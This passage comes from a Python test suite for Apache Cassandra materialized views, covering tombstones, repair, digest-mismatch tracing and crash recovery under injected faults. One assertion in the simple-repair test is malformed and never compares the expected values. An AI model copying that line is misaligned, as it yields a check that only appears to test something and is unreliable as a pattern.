[99, 99, 99]]) assert_all(session, "SELECT k,a,b FROM mv", [[50, 50, 50], [99, 99, 99]]) @since('3.0') def test_base_column_in_view_pk_commutative_tombstone_with_flush(self): self._test_base_column_in_view_pk_commutative_tombstone_(flush=True) @since('3.0') def test_base_column_in_view_pk_commutative_tombstone_without_flush(self): self._test_base_column_in_view_pk_commutative_tombstone_(flush=False) def _test_base_column_in_view_pk_commutative_tombstone_(self, flush): """ view row deletion should be commutative with newer view livenessInfo, otherwise deleted columns may be resurrected. @jira_ticket CASSANDRA-13409 """ session = self.prepare(rf=3, nodes=3, options={'hinted_handoff_enabled': False}, consistency_level=ConsistencyLevel.QUORUM) node1 = self.cluster.nodelist()[0] session.execute('USE ks') session.execute("CREATE TABLE t (id int PRIMARY KEY, v int, v2 text, v3 decimal)") session.execute(("CREATE MATERIALIZED VIEW t_by_v AS SELECT * FROM t " "WHERE v IS NOT NULL AND id IS NOT NULL PRIMARY KEY (v,id)")) session.cluster.control_connection.wait_for_schema_agreement() for node in self.cluster.nodelist(): node.nodetool("disableautocompaction") # sstable 1, Set initial values TS=1 self.update_view(session, "INSERT INTO t (id, v, v2, v3) VALUES (1, 1, 'a', 3.0) USING TIMESTAMP 1", flush) assert_one(session, "SELECT * FROM t_by_v", [1, 1, 'a', 3.0]) # sstable 2, change v's value and TS=2, tombstones v=1 and adds v=0 record self.update_view(session, "DELETE FROM t USING TIMESTAMP 2 WHERE id = 1;", flush) assert_none(session, "SELECT * FROM t_by_v") assert_none(session, "SELECT * FROM t") # sstable 3, tombstones of mv created by base deletion should remain. self.update_view(session, "INSERT INTO t (id, v) VALUES (1, 1) USING TIMESTAMP 3", flush) assert_one(session, "SELECT * FROM t_by_v", [1, 1, None, None]) assert_one(session, "SELECT * FROM t", [1, 1, None, None]) # sstable 4, shadow view row (id=1, v=1), insert (id=1, v=2, ts=4) self.update_view(session, "UPDATE t USING TIMESTAMP 4 set v = 2 WHERE id = 1;", flush) assert_one(session, "SELECT * FROM t_by_v", [2, 1, None, None]) assert_one(session, "SELECT * FROM t", [1, 2, None, None]) # sstable 5, shadow view row (id=1, v=2), insert (id=1, v=1 ts=5) self.update_view(session, "UPDATE t USING TIMESTAMP 5 set v = 1 WHERE id = 1;", flush) assert_one(session, "SELECT * FROM t_by_v", [1, 1, None, None]) assert_one(session, "SELECT * FROM t", [1, 1, None, None]) # data deleted by row-tombstone@2 should not resurrect if flush: self.cluster.compact() assert_one(session, "SELECT * FROM t_by_v", [1, 1, None, None]) assert_one(session, "SELECT * FROM t", [1, 1, None, None]) # data deleted by row-tombstone@2 should not resurrect # shadow view row (id=1, v=1) self.update_view(session, "UPDATE t USING TIMESTAMP 5 set v = null WHERE id = 1;", flush) assert_none(session, "SELECT * FROM t_by_v") assert_one(session, "SELECT * FROM t", [1, None, None, None]) def test_view_tombstone(self): """ Test that a materialized views properly tombstone @jira_ticket CASSANDRA-10261 @jira_ticket CASSANDRA-10910 """ self.prepare(rf=3, options={'hinted_handoff_enabled': False}) node1, node2, node3 = self.cluster.nodelist() session = self.patient_exclusive_cql_connection(node1) session.max_trace_wait = 120 session.execute('USE ks') session.execute("CREATE TABLE t (id int PRIMARY KEY, v int, v2 text, v3 decimal)") session.execute(("CREATE MATERIALIZED VIEW t_by_v AS SELECT * FROM t " "WHERE v IS NOT NULL AND id IS NOT NULL PRIMARY KEY (v,id)")) session.cluster.control_connection.wait_for_schema_agreement() # Set initial values TS=0, verify session.execute(SimpleStatement("INSERT INTO t (id, v, v2, v3) VALUES (1, 1, 'a', 3.0) USING TIMESTAMP 0", consistency_level=ConsistencyLevel.ALL)) self._replay_batchlogs() assert_one( session, "SELECT * FROM t_by_v WHERE v = 1", [1, 1, 'a', 3.0] ) session.execute(SimpleStatement("INSERT INTO t (id, v2) VALUES (1, 'b') USING TIMESTAMP 1", consistency_level=ConsistencyLevel.ALL)) self._replay_batchlogs() assert_one( session, "SELECT * FROM t_by_v WHERE v = 1", [1, 1, 'b', 3.0] ) # change v's value and TS=3, tombstones v=1 and adds v=0 record session.execute(SimpleStatement("UPDATE t USING TIMESTAMP 3 SET v = 0 WHERE id = 1", consistency_level=ConsistencyLevel.ALL)) self._replay_batchlogs() assert_none(session, "SELECT * FROM t_by_v WHERE v = 1") logger.debug('Shutdown node2') node2.stop(wait_other_notice=True) session.execute(SimpleStatement("UPDATE t USING TIMESTAMP 4 SET v = 1 WHERE id = 1", consistency_level=ConsistencyLevel.QUORUM)) self._replay_batchlogs() assert_one( session, "SELECT * FROM t_by_v WHERE v = 1", [1, 1, 'b', 3.0] ) node2.start(wait_other_notice=True, wait_for_binary_proto=True) # We should get a digest mismatch query = SimpleStatement("SELECT * FROM t_by_v WHERE v = 1", consistency_level=ConsistencyLevel.ALL) result = session.execute(query, trace=True) self.check_trace_events(result.get_query_trace(), True) # We should not get a digest mismatch the second time query = SimpleStatement("SELECT * FROM t_by_v WHERE v = 1", consistency_level=ConsistencyLevel.ALL) result = session.execute(query, trace=True) self.check_trace_events(result.get_query_trace(), False) # Verify values one last time assert_one( session, "SELECT * FROM t_by_v WHERE v = 1", [1, 1, 'b', 3.0], cl=ConsistencyLevel.ALL ) def check_trace_events(self, trace, expect_digest): # we should see multiple requests get enqueued prior to index scan # execution happening # Look for messages like: # 4.0+ Digest mismatch: Mismatch for key DecoratedKey # <4.0 Digest mismatch: org.apache.cassandra.service.DigestMismatchException: Mismatch for key DecoratedKey regex = r"Digest mismatch: ([a-zA-Z.]+:\s)?Mismatch for key DecoratedKey" for event in trace.events: desc = event.description match = re.match(regex, desc) if match: if expect_digest: break else: self.fail("Encountered digest mismatch when we shouldn't") else: if expect_digest: self.fail("Didn't find digest mismatch") def test_simple_repair_by_base(self): self._simple_repair_test(repair_base=True) def test_simple_repair_by_view(self): self._simple_repair_test(repair_view=True) def _simple_repair_test(self, repair_base=False, repair_view=False): """ Test that a materialized view are consistent after a simple repair. """ session = self.prepare(rf=3, options={'hinted_handoff_enabled': False}) node1, node2, node3 = self.cluster.nodelist() session.execute("CREATE TABLE t (id int PRIMARY KEY, v int, v2 text, v3 decimal)") session.execute(("CREATE MATERIALIZED VIEW t_by_v AS SELECT * FROM t " "WHERE v IS NOT NULL AND id IS NOT NULL PRIMARY KEY (v, id)")) session.cluster.control_connection.wait_for_schema_agreement() logger.debug('Shutdown node2') node2.stop(wait_other_notice=True) for i in range(1000): session.execute("INSERT INTO t (id, v, v2, v3) VALUES ({v}, {v}, 'a', 3.0)".format(v=i)) self._replay_batchlogs() logger.debug('Verify the data in the MV with CL=ONE') for i in range(1000): assert_one( session, "SELECT * FROM t_by_v WHERE v = {}".format(i), [i, i, 'a', 3.0] ) logger.debug('Verify the data in the MV with CL=ALL. All should be unavailable.') for i in range(1000): statement = SimpleStatement( "SELECT * FROM t_by_v WHERE v = {}".format(i), consistency_level=ConsistencyLevel.ALL ) assert_unavailable( session.execute, statement ) logger.debug('Start node2, and repair') node2.start(wait_other_notice=True, wait_for_binary_proto=True) if repair_base: node1.nodetool("repair ks t") if repair_view: node1.nodetool("repair ks t_by_v") logger.debug('Verify the data in the MV with CL=ALL. All should be available now and no digest mismatch') for i in range(1000): query = SimpleStatement( "SELECT * FROM t_by_v WHERE v = {}".format(i), consistency_level=ConsistencyLevel.ALL ) result = session.execute(query, trace=True) self.check_trace_events(result.get_query_trace(), False) assert self._rows_to_list(result.current_rows), [[i, i, 'a' == 3.0]] def test_base_replica_repair(self): self._base_replica_repair_test() def test_base_replica_repair_with_contention(self): """ Test repair does not fail when there is MV lock contention @jira_ticket CASSANDRA-12905 """ self._base_replica_repair_test(fail_mv_lock=True) def _base_replica_repair_test(self, fail_mv_lock=False): """ Test that a materialized view are consistent after the repair of the base replica. """ self.prepare(rf=3) node1, node2, node3 = self.cluster.nodelist() session = self.patient_exclusive_cql_connection(node1) session.execute('USE ks') session.execute("CREATE TABLE t (id int PRIMARY KEY, v int, v2 text, v3 decimal)") session.execute(("CREATE MATERIALIZED VIEW t_by_v AS SELECT * FROM t " "WHERE v IS NOT NULL AND id IS NOT NULL PRIMARY KEY (v, id)")) session.cluster.control_connection.wait_for_schema_agreement() logger.debug('Write initial data') for i in range(1000): session.execute("INSERT INTO t (id, v, v2, v3) VALUES ({v}, {v}, 'a', 3.0)".format(v=i)) self._replay_batchlogs() logger.debug('Verify the data in the MV with CL=ALL') for i in range(1000): assert_one( session, "SELECT * FROM t_by_v WHERE v = {}".format(i), [i, i, 'a', 3.0], cl=ConsistencyLevel.ALL ) logger.debug('Shutdown node1') node1.stop(wait_other_notice=True) logger.debug('Delete node1 data') node1.clear(clear_all=True) jvm_args = [] if fail_mv_lock: if self.cluster.version() >= LooseVersion('3.10'): # CASSANDRA-10134 jvm_args = ['-Dcassandra.allow_unsafe_replace=true', '-Dcassandra.replace_address={}'.format(node1.address())] jvm_args.append("-Dcassandra.test.fail_mv_locks_count=1000") # this should not make Keyspace.apply throw WTE on failure to acquire lock node1.set_configuration_options(values={'write_request_timeout_in_ms': 100}) logger.debug('Restarting node1 with jvm_args={}'.format(jvm_args)) node1.start(wait_other_notice=True, wait_for_binary_proto=True, jvm_args=jvm_args) logger.debug('Shutdown node2 and node3') node2.stop(wait_other_notice=True) node3.stop(wait_other_notice=True) session = self.patient_exclusive_cql_connection(node1) session.execute('USE ks') logger.debug('Verify that there is no data on node1') for i in range(1000): assert_none( session, "SELECT * FROM t_by_v WHERE v = {}".format(i) ) logger.debug('Restarting node2 and node3') node2.start(wait_other_notice=True, wait_for_binary_proto=True) node3.start(wait_other_notice=True, wait_for_binary_proto=True) # Just repair the base replica logger.debug('Starting repair on node1') node1.nodetool("repair ks t") logger.debug('Verify data with cl=ALL') for i in range(1000): assert_one( session, "SELECT * FROM t_by_v WHERE v = {}".format(i), [i, i, 'a', 3.0] ) @pytest.mark.resource_intensive def test_complex_repair(self): """ Test that a materialized view are consistent after a more complex repair. """ session = self.prepare(rf=5, options={'hinted_handoff_enabled': False}, nodes=5) node1, node2, node3, node4, node5 = self.cluster.nodelist() # we create the base table with gc_grace_seconds=5 so batchlog will expire after 5 seconds session.execute("CREATE TABLE ks.t (id int PRIMARY KEY, v int, v2 text, v3 decimal)" "WITH gc_grace_seconds = 5") session.execute(("CREATE MATERIALIZED VIEW ks.t_by_v AS SELECT * FROM t " "WHERE v IS NOT NULL AND id IS NOT NULL PRIMARY KEY (v, id)")) session.cluster.control_connection.wait_for_schema_agreement() logger.debug('Shutdown node2 and node3') node2.stop() node3.stop(wait_other_notice=True) logger.debug('Write initial data to node1 (will be replicated to node4 and node5)') for i in range(1000): session.execute("INSERT INTO ks.t (id, v, v2, v3) VALUES ({v}, {v}, 'a', 3.0)".format(v=i)) logger.debug('Verify the data in the MV on node1 with CL=ONE') for i in range(1000): assert_one( session, "SELECT * FROM ks.t_by_v WHERE v = {}".format(i), [i, i, 'a', 3.0] ) logger.debug('Close connection to node1') session.cluster.shutdown() logger.debug('Shutdown node1, node4 and node5') node1.stop() node4.stop() node5.stop() logger.debug('Start nodes 2 and 3') node2.start() node3.start(wait_other_notice=True, wait_for_binary_proto=True) session2 = self.patient_cql_connection(node2) logger.debug('Verify the data in the MV on node2 with CL=ONE. No rows should be found.') for i in range(1000): assert_none( session2, "SELECT * FROM ks.t_by_v WHERE v = {}".format(i) ) logger.debug('Write new data in node2 and node3 that overlap those in node1, node4 and node5') for i in range(1000): # we write i*2 as value, instead of i session2.execute("INSERT INTO ks.t (id, v, v2, v3) VALUES ({v}, {v}, 'a', 3.0)".format(v=i * 2)) logger.debug('Verify the new data in the MV on node2 with CL=ONE') for i in range(1000): v = i * 2 assert_one( session2, "SELECT * FROM ks.t_by_v WHERE v = {}".format(v), [v, v, 'a', 3.0] ) logger.debug('Wait for batchlogs to expire from node2 and node3') time.sleep(5) logger.debug('Start remaining nodes') node1.start(wait_other_notice=True, wait_for_binary_proto=True) node4.start(wait_other_notice=True, wait_for_binary_proto=True) node5.start(wait_other_notice=True, wait_for_binary_proto=True) session = self.patient_cql_connection(node1) logger.debug('Read data from MV at QUORUM (old data should be returned)') for i in range(1000): assert_one( session, "SELECT * FROM ks.t_by_v WHERE v = {}".format(i), [i, i, 'a', 3.0], cl=ConsistencyLevel.QUORUM ) logger.debug('Run global repair on node1') node1.repair() logger.debug('Read data from MV at quorum (new data should be returned after repair)') for i in range(1000): v = i * 2 assert_one( session, "SELECT * FROM ks.t_by_v WHERE v = {}".format(v), [v, v, 'a', 3.0], cl=ConsistencyLevel.QUORUM ) @pytest.mark.resource_intensive def test_throttled_partition_update(self): """ @jira_ticket: CASSANDRA-13299, test break up large partition when repairing base with mv. Provide a configuable batch size(cassandra.mv.mutation.row.count=100) to trottle number of rows to be applied in one mutation """ session = self.prepare(rf=5, options={'hinted_handoff_enabled': False}, nodes=5) node1, node2, node3, node4, node5 = self.cluster.nodelist() for node in self.cluster.nodelist(): node.nodetool("disableautocompaction") session.execute("CREATE TABLE ks.t (pk int, ck1 int, ck2 int, v1 int, v2 int, PRIMARY KEY(pk, ck1, ck2))") session.execute(("CREATE MATERIALIZED VIEW ks.t_by_v AS SELECT * FROM t " "WHERE pk IS NOT NULL AND ck1 IS NOT NULL AND ck2 IS NOT NULL " "PRIMARY KEY (pk, ck2, ck1)")) session.cluster.control_connection.wait_for_schema_agreement() logger.debug('Shutdown node2 and node3') node2.stop(wait_other_notice=True) node3.stop(wait_other_notice=True) size = 50 range_deletion_ts = 30 partition_deletion_ts = 10 for ck1 in range(size): for ck2 in range(size): session.execute("INSERT INTO ks.t (pk, ck1, ck2, v1, v2)" " VALUES (1, {}, {}, {}, {}) USING TIMESTAMP {}".format(ck1, ck2, ck1, ck2, ck1)) self._replay_batchlogs() for ck1 in range(size): for ck2 in range(size): assert_one(session, "SELECT pk,ck1,ck2,v1,v2 FROM ks.t WHERE pk=1 AND ck1={} AND ck2={}".format(ck1, ck2), [1, ck1, ck2, ck1, ck2]) assert_one(session, "SELECT pk,ck1,ck2,v1,v2 FROM ks.t_by_v WHERE pk=1 AND ck1={} AND ck2={}".format(ck1, ck2), [1, ck1, ck2, ck1, ck2]) logger.debug('Shutdown node4 and node5') node4.stop(wait_other_notice=True) node5.stop(wait_other_notice=True) for ck1 in range(size): for ck2 in range(size): if ck1 % 2 == 0: # range tombstone session.execute("DELETE FROM ks.t USING TIMESTAMP 50 WHERE pk=1 AND ck1={}".format(ck1)) elif ck1 == ck2: # row tombstone session.execute("DELETE FROM ks.t USING TIMESTAMP 60 WHERE pk=1 AND ck1={} AND ck2={}".format(ck1, ck2)) elif ck1 == ck2 - 1: # cell tombstone session.execute("DELETE v2 FROM ks.t USING TIMESTAMP 70 WHERE pk=1 AND ck1={} AND ck2={}".format(ck1, ck2)) # range deletion session.execute("DELETE FROM ks.t USING TIMESTAMP {} WHERE pk=1 and ck1 < 30 and ck1 > 20".format(range_deletion_ts)) session.execute("DELETE FROM ks.t USING TIMESTAMP {} WHERE pk=1 and ck1 = 20 and ck2 < 10".format(range_deletion_ts)) # partition deletion for ck1 <= partition_deletion_ts session.execute("DELETE FROM ks.t USING TIMESTAMP {} WHERE pk=1".format(partition_deletion_ts)) # only partition deletion for the pk=2000 session.execute("DELETE FROM ks.t USING TIMESTAMP {} WHERE pk=2000".format(partition_deletion_ts)) self._replay_batchlogs() # start nodes with different batch size logger.debug('Starting nodes') node2.start(wait_other_notice=True, wait_for_binary_proto=True, jvm_args=["-Dcassandra.repair.mutation_repair_rows_per_batch={}".format(2)]) node3.start(wait_other_notice=True, wait_for_binary_proto=True, jvm_args=["-Dcassandra.repair.mutation_repair_rows_per_batch={}".format(5)]) node4.start(wait_other_notice=True, wait_for_binary_proto=True, jvm_args=["-Dcassandra.repair.mutation_repair_rows_per_batch={}".format(50)]) node5.start(wait_other_notice=True, wait_for_binary_proto=True, jvm_args=["-Dcassandra.repair.mutation_repair_rows_per_batch={}".format(5000)]) self._replay_batchlogs() logger.debug('repairing base table') node1.nodetool("repair ks t") # insert data to the deleted partition with pk=2000, they should be considered dead session.execute("INSERT INTO ks.t (pk, ck1, ck2, v1, v2)" " VALUES (2000, 0, 0, 0, 0) USING TIMESTAMP {}".format(partition_deletion_ts - 1)) self._replay_batchlogs() logger.debug('stop cluster') self.cluster.stop() logger.debug('rolling restart to check repaired data on each node') for node in self.cluster.nodelist(): logger.debug('starting {}'.format(node.name)) node.start(wait_other_notice=True, wait_for_binary_proto=True) session = self.patient_cql_connection(node, consistency_level=ConsistencyLevel.ONE) for ck1 in range(size): for ck2 in range(size): if ( ck1 <= partition_deletion_ts or # partition deletion ck1 == ck2 or ck1 % 2 == 0 or # row deletion or range tombstone (ck1 > 20 and ck1 < 30) or (ck1 == 20 and ck2 < 10) # range tombstone ): assert_none(session, "SELECT pk,ck1,ck2,v1,v2 FROM ks.t_by_v WHERE pk=1 AND " "ck1={} AND ck2={}".format(ck1, ck2)) assert_none(session, "SELECT pk,ck1,ck2,v1,v2 FROM ks.t WHERE pk=1 AND " "ck1={} AND ck2={}".format(ck1, ck2)) elif ck1 == ck2 - 1: # cell tombstone assert_one(session, "SELECT pk,ck1,ck2,v1,v2 FROM ks.t_by_v WHERE pk=1 AND " "ck1={} AND ck2={}".format(ck1, ck2), [1, ck1, ck2, ck1, None]) assert_one(session, "SELECT pk,ck1,ck2,v1,v2 FROM ks.t WHERE pk=1 AND " "ck1={} AND ck2={}".format(ck1, ck2), [1, ck1, ck2, ck1, None]) else: assert_one(session, "SELECT pk,ck1,ck2,v1,v2 FROM ks.t_by_v WHERE pk=1 AND " "ck1={} AND ck2={}".format(ck1, ck2), [1, ck1, ck2, ck1, ck2]) assert_one(session, "SELECT pk,ck1,ck2,v1,v2 FROM ks.t WHERE pk=1 AND " "ck1={} AND ck2={}".format(ck1, ck2), [1, ck1, ck2, ck1, ck2]) # Verify partition deletion with pk=2000 has no live data assert_none(session, "SELECT pk,ck1,ck2,v1,v2 FROM ks.t WHERE pk=2000") assert_none(session, "SELECT pk,ck1,ck2,v1,v2 FROM ks.t_by_v WHERE pk=2000") logger.debug('stopping {}'.format(node.name)) node.stop(wait_other_notice=True, wait_for_binary_proto=True) @pytest.mark.resource_intensive def test_really_complex_repair(self): """ Test that a materialized view are consistent after a more complex repair. """ session = self.prepare(rf=5, options={'hinted_handoff_enabled': False}, nodes=5) node1, node2, node3, node4, node5 = self.cluster.nodelist() # we create the base table with gc_grace_seconds=5 so batchlog will expire after 5 seconds session.execute("CREATE TABLE ks.t (id int, v int, v2 text, v3 decimal, PRIMARY KEY(id, v, v2))" "WITH gc_grace_seconds = 1") session.execute(("CREATE MATERIALIZED VIEW ks.t_by_v AS SELECT * FROM t " "WHERE v IS NOT NULL AND id IS NOT NULL AND v IS NOT NULL AND " "v2 IS NOT NULL PRIMARY KEY (v2, v, id)")) session.cluster.control_connection.wait_for_schema_agreement() logger.debug('Shutdown node2 and node3') node2.stop(wait_other_notice=True) node3.stop(wait_other_notice=True) session.execute("INSERT INTO ks.t (id, v, v2, v3) VALUES (1, 1, 'a', 3.0)") session.execute("INSERT INTO ks.t (id, v, v2, v3) VALUES (2, 2, 'a', 3.0)") self._replay_batchlogs() logger.debug('Verify the data in the MV on node1 with CL=ONE') assert_all(session, "SELECT * FROM ks.t_by_v WHERE v2 = 'a'", [['a', 1, 1, 3.0], ['a', 2, 2, 3.0]]) session.execute("INSERT INTO ks.t (id, v, v2, v3) VALUES (1, 1, 'b', 3.0)") session.execute("INSERT INTO ks.t (id, v, v2, v3) VALUES (2, 2, 'b', 3.0)") self._replay_batchlogs() logger.debug('Verify the data in the MV on node1 with CL=ONE') assert_all(session, "SELECT * FROM ks.t_by_v WHERE v2 = 'b'", [['b', 1, 1, 3.0], ['b', 2, 2, 3.0]]) session.shutdown() logger.debug('Shutdown node1, node4 and node5') node1.stop() node4.stop() node5.stop() logger.debug('Start nodes 2 and 3') node2.start() node3.start(wait_other_notice=True, wait_for_binary_proto=True) session2 = self.patient_cql_connection(node2) session2.execute('USE ks') logger.debug('Verify the data in the MV on node2 with CL=ONE. No rows should be found.') assert_none(session2, "SELECT * FROM ks.t_by_v WHERE v2 = 'a'") logger.debug('Write new data in node2 that overlap those in node1') session2.execute("INSERT INTO ks.t (id, v, v2, v3) VALUES (1, 1, 'c', 3.0)") session2.execute("INSERT INTO ks.t (id, v, v2, v3) VALUES (2, 2, 'c', 3.0)") self._replay_batchlogs() assert_all(session2, "SELECT * FROM ks.t_by_v WHERE v2 = 'c'", [['c', 1, 1, 3.0], ['c', 2, 2, 3.0]]) session2.execute("INSERT INTO ks.t (id, v, v2, v3) VALUES (1, 1, 'd', 3.0)") session2.execute("INSERT INTO ks.t (id, v, v2, v3) VALUES (2, 2, 'd', 3.0)") self._replay_batchlogs() assert_all(session2, "SELECT * FROM ks.t_by_v WHERE v2 = 'd'", [['d', 1, 1, 3.0], ['d', 2, 2, 3.0]]) logger.debug("Composite delete of everything") session2.execute("DELETE FROM ks.t WHERE id = 1 and v = 1") session2.execute("DELETE FROM ks.t WHERE id = 2 and v = 2") self._replay_batchlogs() assert_none(session2, "SELECT * FROM ks.t_by_v WHERE v2 = 'c'") assert_none(session2, "SELECT * FROM ks.t_by_v WHERE v2 = 'd'") logger.debug('Wait for batchlogs to expire from node2 and node3') time.sleep(5) logger.debug('Start remaining nodes') node1.start(wait_other_notice=True, wait_for_binary_proto=True) node4.start(wait_other_notice=True, wait_for_binary_proto=True) node5.start(wait_other_notice=True, wait_for_binary_proto=True) # at this point the data isn't repaired so we have an inconsistency. # this value should return None assert_all( session2, "SELECT * FROM ks.t_by_v WHERE v2 = 'a'", [['a', 1, 1, 3.0], ['a', 2, 2, 3.0]], cl=ConsistencyLevel.QUORUM ) logger.debug('Run global repair on node1') node1.repair() assert_none(session2, "SELECT * FROM ks.t_by_v WHERE v2 = 'a'", cl=ConsistencyLevel.QUORUM) def test_complex_mv_select_statements(self): """ Test complex MV select statements @jira_ticket CASSANDRA-9664 """ cluster = self.cluster cluster.set_configuration_options({'enable_materialized_views': 'true'}) cluster.populate(3).start() node1 = cluster.nodelist()[0] session = self.patient_cql_connection(node1, consistency_level=ConsistencyLevel.QUORUM) logger.debug("Creating keyspace") session.execute("CREATE KEYSPACE mvtest WITH replication = " "{'class': 'SimpleStrategy', 'replication_factor': '3'}") session.execute('USE mvtest') mv_primary_keys = ["((a, b), c)", "((b, a), c)", "(a, b, c)", "(c, b, a)", "((c, a), b)"] for mv_primary_key in mv_primary_keys: session.execute("CREATE TABLE test (a int, b int, c int, d int, PRIMARY KEY (a, b, c))") insert_stmt = session.prepare("INSERT INTO test (a, b, c, d) VALUES (?, ?, ?, ?)") update_stmt = session.prepare("UPDATE test SET d = ? WHERE a = ? AND b = ? AND c = ?") delete_stmt1 = session.prepare("DELETE FROM test WHERE a = ? AND b = ? AND c = ?") delete_stmt2 = session.prepare("DELETE FROM test WHERE a = ?") session.cluster.control_connection.wait_for_schema_agreement() rows = [(0, 0, 0, 0), (0, 0, 1, 0), (0, 1, 0, 0), (0, 1, 1, 0), (1, 0, 0, 0), (1, 0, 1, 0), (1, 1, -1, 0), (1, 1, 0, 0), (1, 1, 1, 0)] for row in rows: session.execute(insert_stmt, row) logger.debug("Testing MV primary key: {}".format(mv_primary_key)) session.execute("CREATE MATERIALIZED VIEW mv AS SELECT * FROM test WHERE " "a = 1 AND b IS NOT NULL AND c = 1 PRIMARY KEY {}".format(mv_primary_key)) time.sleep(3) assert_all( session, "SELECT a, b, c, d FROM mv", [[1, 0, 1, 0], [1, 1, 1, 0]], ignore_order=True, cl=ConsistencyLevel.QUORUM ) # insert new rows that does not match the filter session.execute(insert_stmt, (0, 0, 1, 0)) session.execute(insert_stmt, (1, 1, 0, 0)) assert_all( session, "SELECT a, b, c, d FROM mv", [[1, 0, 1, 0], [1, 1, 1, 0]], ignore_order=True, cl=ConsistencyLevel.QUORUM ) # insert new row that does match the filter session.execute(insert_stmt, (1, 2, 1, 0)) assert_all( session, "SELECT a, b, c, d FROM mv", [[1, 0, 1, 0], [1, 1, 1, 0], [1, 2, 1, 0]], ignore_order=True, cl=ConsistencyLevel.QUORUM ) # update rows that does not match the filter session.execute(update_stmt, (1, 1, -1, 0)) session.execute(update_stmt, (0, 1, 1, 0)) assert_all( session, "SELECT a, b, c, d FROM mv", [[1, 0, 1, 0], [1, 1, 1, 0], [1, 2, 1, 0]], ignore_order=True, cl=ConsistencyLevel.QUORUM ) # update a row that does match the filter session.execute(update_stmt, (2, 1, 1, 1)) assert_all( session, "SELECT a, b, c, d FROM mv", [[1, 0, 1, 0], [1, 1, 1, 2], [1, 2, 1, 0]], ignore_order=True, cl=ConsistencyLevel.QUORUM ) # delete rows that does not match the filter session.execute(delete_stmt1, (1, 1, -1)) session.execute(delete_stmt1, (2, 0, 1)) session.execute(delete_stmt2, (0,)) assert_all( session, "SELECT a, b, c, d FROM mv", [[1, 0, 1, 0], [1, 1, 1, 2], [1, 2, 1, 0]], ignore_order=True, cl=ConsistencyLevel.QUORUM ) # delete a row that does match the filter session.execute(delete_stmt1, (1, 1, 1)) assert_all( session, "SELECT a, b, c, d FROM mv", [[1, 0, 1, 0], [1, 2, 1, 0]], ignore_order=True, cl=ConsistencyLevel.QUORUM ) # delete a partition that matches the filter session.execute(delete_stmt2, (1,)) assert_all(session, "SELECT a, b, c, d FROM mv", [], cl=ConsistencyLevel.QUORUM) # Cleanup session.execute("DROP MATERIALIZED VIEW mv") session.execute("DROP TABLE test") def propagate_view_creation_over_non_existing_table(self): """ The internal addition of a view over a non existing table should be ignored @jira_ticket CASSANDRA-13737 """ cluster = self.cluster cluster.populate(3) cluster.start() node1, node2, node3 = self.cluster.nodelist() session = self.patient_cql_connection(node1, consistency_level=ConsistencyLevel.QUORUM) create_ks(session, 'ks', 3) session.execute('CREATE TABLE users (username varchar PRIMARY KEY, state varchar)') # create a materialized view only in nodes 1 and 2 node3.stop(wait_other_notice=True) session.execute(('CREATE MATERIALIZED VIEW users_by_state AS ' 'SELECT * FROM users WHERE state IS NOT NULL AND username IS NOT NULL ' 'PRIMARY KEY (state, username)')) # drop the base table only in node 3 node1.stop(wait_other_notice=True) node2.stop(wait_other_notice=True) node3.start(wait_for_binary_proto=True) session = self.patient_cql_connection(node3, consistency_level=ConsistencyLevel.QUORUM) session.execute('DROP TABLE ks.users') # restart the cluster cluster.stop() cluster.start() # node3 should have received and ignored the creation of the MV over the dropped table assert node3.grep_log('Not adding view users_by_state because the base table') def test_base_view_consistency_on_failure_after_mv_apply(self): self._test_base_view_consistency_on_crash("after") def test_base_view_consistency_on_failure_before_mv_apply(self): self._test_base_view_consistency_on_crash("before") def _test_base_view_consistency_on_crash(self, fail_phase): """ * Fails base table write before or after applying views * Restart node and replay commit and batchlog * Check that base and views are present @jira_ticket CASSANDRA-13069 """ self.cluster.set_batch_commitlog(enabled=True) self.fixture_dtest_setup.ignore_log_patterns = [r'Dummy failure', r"Failed to force-recycle all segments"] self.prepare(rf=1, install_byteman=True) node1, node2, node3 = self.cluster.nodelist() session = self.patient_exclusive_cql_connection(node1) session.execute('USE ks') session.execute("CREATE TABLE t (id int PRIMARY KEY, v int, v2 text, v3 decimal)") session.execute(("CREATE MATERIALIZED VIEW t_by_v AS SELECT * FROM t " "WHERE v IS NOT NULL AND id IS NOT NULL PRIMARY KEY (v, id)")) session.cluster.control_connection.wait_for_schema_agreement() logger.debug('Make node1 fail {} view writes'.format(fail_phase)) node1.byteman_submit(['./byteman/fail_{}_view_write.btm'.format(fail_phase)]) logger.debug('Write 1000 rows - all node1 writes should fail') failed = False for i in range(1, 1000): try: session.execute("INSERT INTO t (id, v, v2, v3) VALUES ({v}, {v}, 'a', 3.0) USING TIMESTAMP {v}".format(v=i)) except WriteFailure: failed = True assert failed, "Should fail at least once." assert node1.grep_log("Dummy failure"), "Should throw Dummy failure" missing_entries = 0 session = self.patient_exclusive_cql_connection(node1) session.execute('USE ks') for i in range(1, 1000): view_entry = rows_to_list(session.execute(SimpleStatement("SELECT * FROM t_by_v WHERE id = {} AND v = {}".format(i, i), consistency_level=ConsistencyLevel.ONE))) base_entry = rows_to_list(session.execute(SimpleStatement("SELECT * FROM t WHERE id = {}".format(i), consistency_level=ConsistencyLevel.ONE))) if not base_entry: missing_entries += 1 if not view_entry: missing_entries += 1 logger.debug("Missing entries {}".format(missing_entries)) assert missing_entries > 0 logger.debug('Restarting node1 to ensure commit log is replayed') node1.stop(wait_other_notice=True) # Set batchlog.replay_timeout_seconds=1 so we can ensure batchlog will be replayed below node1.start(jvm_args=["-Dcassandra.batchlog.replay_timeout_in_ms=1"]) logger.debug('Replay batchlogs') time.sleep(0.001) # Wait batchlog.replay_timeout_in_ms=1 (ms) self._replay_batchlogs() logger.debug('Verify that both the base table entry and view are present after commit and batchlog replay') session = self.patient_exclusive_cql_connection(node1) session.execute('USE ks') for i in range(1, 1000): view_entry = rows_to_list(session.execute(SimpleStatement("SELECT * FROM t_by_v WHERE id = {} AND v = {}".format(i, i), consistency_level=ConsistencyLevel.ONE))) base_entry = rows_to_list(session.execute(SimpleStatement("SELECT * FROM t WHERE id = {}".format(i), consistency_level=ConsistencyLevel.ONE))) assert base_entry, "Both base {} and view entry {} should exist.".format(base_entry, view_entry) assert view_entry, "Both base {} and view entry {} should exist.".format(base_entry, view_entry) # For read verification class MutationPresence(Enum): match = 1 extra = 2 missing = 3 excluded = 4 unknown = 5 class MM(object): mp = None def out(self): pass class Match(MM): def __init__(self): self.mp = MutationPresence.match def out(self): return None class Extra(MM): expecting = None value = None row = None def __init__(self, expecting, value, row): self.mp = MutationPresence.extra self.expecting = expecting self.value = value self.row = row def out(self): return "Extra. Expected {} instead of {}; row: {}".format(self.expecting, self.value, self.row) class 